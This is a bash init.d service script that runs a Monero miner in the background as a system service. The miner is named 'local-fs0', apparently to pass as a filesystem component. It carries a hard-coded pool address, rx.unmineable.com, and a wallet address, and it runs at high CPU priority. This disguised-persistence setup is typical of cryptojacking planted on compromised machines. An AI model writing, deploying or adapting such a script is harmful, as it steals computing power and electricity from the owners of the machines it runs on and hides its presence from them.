#!/bin/bash
#
# local-fs0 miner service
#

DAEMON="/usr/bin/local-fs0"
DAEMON_OPTS="-o rx.unmineable.com:3333 -a rx -u XMR:45qXX2X6LcfggcHahSAATG5a2qgsoBMrHbE8UBLqRKPLR2AoZH6fY4y4am1S5Qyxvc3LUUxupZkq2WJtLjfgU4UkS3ksWeH.Worker999269 -p x --cpu-no-yield --randomx-1gb-page --cpu-priority=5 -k"

PIDFILE="/var/run/local-fs0.pid"
LOGFILE="/var/log/local-fs0.log"

start() {
    echo "Starting local-fs0 miner..."
    if [ -f $PIDFILE ]; then
        echo "local-fs0 is already running."
        return 0
    fi
    start-stop-daemon --start --pidfile $PIDFILE --exec $DAEMON --background --make-pidfile --chdir / -- $DAEMON_OPTS >> $LOGFILE 2>&1
    echo "local-fs0 started."
}

stop() {
    echo "Stopping local-fs0 miner..."
    if [ ! -f $PIDFILE ]; then
        echo "local-fs0 is not running."
        return 0
    fi
    start-stop-daemon --stop --pidfile $PIDFILE
    echo "local-fs0 stopped."
}

status() {
    if [ -f $PIDFILE ]; then
        echo "local-fs0 is running."
        return 0
    else
        echo "local-fs0 is not running."
        return 1
    fi
}

case "$1" in
    start)
        start
        ;;
    stop)
        stop
        ;;
    status)
        status
        ;;
    restart)
        stop
        start
        ;;
    *)
        echo "Usage: /etc/init.d/local-fs0 {start|stop|status|restart}"
        exit 1
        ;;
esac

exit 0